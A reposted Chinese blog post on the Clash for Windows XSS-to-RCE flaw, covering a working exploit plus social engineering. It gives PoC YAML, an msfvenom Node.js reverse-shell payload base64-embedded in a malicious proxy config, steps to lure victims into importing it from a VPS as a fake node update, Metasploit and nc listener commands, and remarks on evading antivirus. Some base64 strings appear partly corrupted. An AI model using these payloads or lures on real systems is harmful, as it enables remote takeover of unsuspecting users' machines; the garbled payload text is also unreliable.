Clash RCE漏洞复现与高级利用(配合社工)

admin 2022年5月18日09:24:22评论1 views字数 5488阅读18分17秒阅读模式

0x00 漏洞概述

大约在2月25日吧,还是24号晚上来着,Clash爆出了一个漏洞,XSS引发的命令执行。https://github.com/Fndroid/clash_for_windows_pkg

于是在网上看到的都是一个打开计算器的复现方法,这算哪门子的漏洞利用???不得不承认,大多数安全测试人员为了发布第一手信息,在自己还没有真正搞明白的情况下,就开始博取眼球,真心反感这种行为。想要做hacker,请耐得住寂寞,请眼中仅有目标而非路过的花花草草。

为此在这里做了一个漏洞利用,即扩大危害的复现——利用Clash RCE上线。本文参考保哥大神的操作,特此声明!

0x01 影响范围

Clash windows 0.19.08以下,目前已经更新了,安装0.19.10即可

Clash RCE漏洞复现与高级利用(配合社工)

0x02 POC与原理分析

典型的XSS payload ——img标签配合onerror事件,调用一个系统命令eval函数,执行了calc.exe

 port: 7890
 socks-port: 7891
 allow-lan: true
 mode: Rule
 log-level: info
 external-controller: :9090
 proxies:
  - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: socks5
    server: 127.0.0.1
    port: "17938"
    skip-cert-verify: true
  - name: abc
    type: socks5
    server: 127.0.0.1
    port: "8088"
    skip-cert-verify: true
 
 proxy-groups:
  -
    name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: select
    proxies:
    - a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>

0x03 漏洞复现与利用

基本复现

我觉着像网上别人那样简单的复现,仅仅弹一个计算器,那是真复现。

也就是知道仅仅知道存在个漏洞,拿别人的POC直接打了一遍。但还是没有利用上。怎么利用这个漏洞扩大危害甚至让对方上线,这就需要一定的研究了。

高级复现利用——先来学几个小知识点

这几个知识点,可能大多数人并不了解,需要大量的各方面开发经验,当然开发不要做那么深入,大致了解,至少能看懂这是干啥的,这是什么框架编写的即可。渗透测试,必须要有开发基础,而开发基础是需要长时间地深入研究与学习的。

1、Clash这款软件是基于electron开发的,底层用的是node.js。

2、details标签与ontoggle事件

  <details> 元素在打开或关闭时执行 JavaScript:
 <details ontoggle="myFunction()">

3、atob方法与btoa方法

atob() ————————————> 解码 base-64 编码的字符串。

btoa() ————————————> 编码 base-64 。

这不就是和Go语言的ItoA一样嘛,atob()就是ascii to base64,反之亦然

4、MSFvenom可以搜索payload

 msfvenom --list payload | grep windows/x64

5、MSF生成上线payload

基于electron和nwjs开发的app(这里的app广义,包含PC端也包含移动端),存在xss都可以用MSF这个payload

 msfvenom -p nodejs/shell_reverse_tcp LHOST=MyIP LPORT=65500 -f raw -o payload.js

Clash RCE漏洞复现与高级利用(配合社工)

6、将payload复制下来,然后base64加密即可

 IChmdW5jdGlvbigpeyB2YXIgcmVxdWlyZSA9IGdsb2JhbC5yZXF1aXJlIHx8IGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUuY29uc3RydWN0b3IuX2xvYWQ7IGlmICghcmVxdWlyZSkgcmV0dXJuOyB2YXIgY21kID0gKGdsb2JhbC5wcm9jZXNzLnBsYXRmb3JtLm1hdGNoKC9ed2luL2kpKSA/ICJjbWQiIDogIi9iaW4vc2giOyB2YXIgbmV0ID0gcmVxdWlyZSgibmV0IiksIGNwID0gcmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLCB1dGlsID0gcmVxdWlyZSgidXRpbCIpLCBzaCA9IGNwLnNwYXduKGNtZCwgW10pOyB2YXIgY2xpZW50Ihhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh0LnBpcGUoc2guc3RkaW4pOyBpZiAodHlwZW9mIHV0aWwucHVtcCA9PT0gInVuZGVmaW5lZCIpIHsgc2guc3Rkb3V0LnBpcGUoY2xpZW50LnNvY2tldCk7IHNoLnN0ZGVyci5waXBlKGNsaWVudC5zb2NrZXQpOyB9IGVsc2UgeyB1dGlsLnB1bXAoc2guc3Rkb3V0LCBjbGllbnQuc29ja2V0KTsgdXRpbC5wdW1wKHNoLnN0ZGVyciwgY2xpZW50LnNvY2tldCk7IH0gfSk7IHNvY2tldC5vbigiZXJyb3IiLCBmdW5jdGlvbihlcnJvcikgeyBjb3VudGVyKys7IGlmKGNvdW50ZXI8PSAxMCl7IHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7IFN0YWdlclJlcGVhdCgpO30sIDUqMTAwMCk7IH0gZWxzZSBwcm9jZXNzLmV4aXQoKTsgfSk7IH0gU3RhZ2VyUmVwZWF0KCk7IH0pKCk7

0x04 漏洞利用——构造payload以及上线

前面的知识点分析看完后,对这里面的关键代码就能看懂了吧。那么前面和后面的其他代码是什么意思呢?

其实就是代理文件yaml而已,可以多加一些用于社工,欺骗别人,顶级社工。

而且这里也涉及到文件上传的思想,有时候你使用一句话上传根本就无法解析和链接蚁剑,但是随便加100行垃圾字符,什么都可以,反而连接上了。

这可能就是图片文件大小过于小触发了流量监控或者代码层waf导致上传失败。这里同理,既可以达到混淆,欺骗用户的效果,也可以增加容错率。

 
 proxies:
     - { name: 🇷🇺大宽带预留, type: ss, server: xxxxxx.tpxx.top, port: 11901, cipher: chacxxy1305, password: cdx2cxx91b, udp: true }
    ...
    ...
    ...
 
     -
        name: <details ontoggle=eval(atob('KGZ1bmN0aW9uKCl7IHZhciByZXF1aXJlID0gZ2xvYmFsLnJlcXVpcmUgfHwgZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZDsgaWYgKCFyZXF1aXJlKSByZXR1cm47IHZhciBjbWQgPSAoZ2xvYmFsLnByb2Nlc3MucGxhdGZvcm0ubWF0Y2goL153aW4vaSkpID8gImNtZCIgOiAiL2Jpbi9zaCI7IHZhciBuZXQgPSByZXF1aXJlKCJuZXQiKSwgY3AgPSByZXF1aXJlKCJjaGlsZF9wcm9jZXNzIiksIHV0aWwgPSByZXF1aXJlKCJ1dGlsIiksIHNoID0gY3Auc3Bhd24oY21kLCBbXSk7IHZhciBjbGllbnQgPSB0aGlzOyB2YXIgY291bnRlcj0wOyBmdW5jdGlvbiBTdGFnZXJSZXBlYXQoKXsgY2xpZW50LnNvY2tldCA9IG5ldC5jb25uZWN0KDY1NTAhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhgeyBjbGllbnQuc29ja2V0LnBpcGUoc2guc3RkaW4pOyBpZiAodHlwZW9mIHV0aWwucHVtcCAhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh0LnNvY2tldCk7IHNoLnN0ZGVyci5waXBlKGNsaWVudC5zb2NrZXQpOyB9IGVsc2UgeyB1dGlsLnB1bXAoc2guc3Rkb3V0LCBjbGllbnQuc29ja2V0KTsgdXRpbC5wdW1wKHNoLnN0ZGVyciwgY2xpZW50LnNvY2tldCk7IH0gfSk7IHNvY2tldC5vbigiZXJyb3IiLCBmdW5jdGlvbihlcnJvcikgeyBjb3VudGVyKys7IGlmKGNvdW50ZXI8PSAxMCl7IHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7IFN0YWdlclJlcGVhdCgpO30sIDUqMTAwMCk7IH0gZWxzZSBwcm9jZXNzLmV4aXQoKTsgfSk7IH0gU3RhZ2VyUmVwZWF0KCk7IH0pKCk7')); open=></details>
        type: select
        proxies:
             - 蜂c
             - autoselect
 
 rules:
     - 'DOMAIN,asdadsa.asdasd.asd.top,DIRECT'
    ....
    ....
    ....

1、将构造好的payload保存到文件里面,如蜂巢.yaml,放入公网VPS上,美其名曰:最新配置文件,节点更新,速度快,什么NEWX CLASS各种扯就完事儿了,就是顶级社工诱导别人下载:

Clash RCE漏洞复现与高级利用(配合社工)

Clash RCE漏洞复现与高级利用(配合社工)

2、受害者下载后,导入这个文件

Clash RCE漏洞复现与高级利用(配合社工)

3、公网VPS上的MSF开启监听,由于是ubuntu,别忘了ufw allow 65500允许端口开放。

经过我多次的测试,各种开启监听的方式都试过了,但是回来的session都很容易断掉。原因其实很简单,就是火绒拦截了。。

 handler -H 0.0.0.0 -P 65500 -p php/meterpreter/reverse_tcp
 
 #############################################################
 use exploit/multi/handler
 set payload nodejs/shell_reverse_tcp
 
 #############################################################
 nc -lvvp 65500

Clash RCE漏洞复现与高级利用(配合社工)

其实尽管火绒拦截,在这里随便点击多次,就会发现成功了。只不过很不稳定,刚收到,可能就会直接断掉了。

Clash RCE漏洞复现与高级利用(配合社工)

Clash RCE漏洞复现与高级利用(配合社工)

Clash RCE漏洞复现与高级利用(配合社工)

好了,关了火绒就完全OK了

Clash RCE漏洞复现与高级利用(配合社工)

销毁VPS,跑路

Clash RCE漏洞复现与高级利用(配合社工)

0x05 总结

1、只要是基于electron和nwjs开发的app(这里的app广义,包含PC端也包含移动端),存在xss都可以用MSF这个payload和对应的监听方法

 msfvenom -p nodejs/shell_reverse_tcp LHOST=MyIP LPORT=65500 -f raw -o payload.js
 ################################################################################
 use exploit/multi/handler
 set payload nodejs/shell_reverse_tcp
 set lhost <IP>
 set lport <port>

2、火绒yyds,其实可以做一个免杀来绕过火绒的,但是这里我就暂时不研究了。

3、在研究如何让对方上线,其实最关键的就是对Clash这款软件开发的认知。所以做渗透测试,没有开发基础是不行的,不求你开发多么多么强,但是至少要认识,并且能够通过已知的知识联想到相关渗透操作,这是需要时间的经验的积累,以及平时知识广度的不断发散的。或许这就是武林高手的内功吧,就算有了独孤九剑,内功不够,也不能做到手中无剑而心中有剑的最高境界。

原文始发于微信公众号(HACK技术沉淀营):Clash RCE漏洞复现与高级利用(配合社工)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月18日09:24:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Clash RCE漏洞复现与高级利用(配合社工)https://cn-sec.com/archives/1016454.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息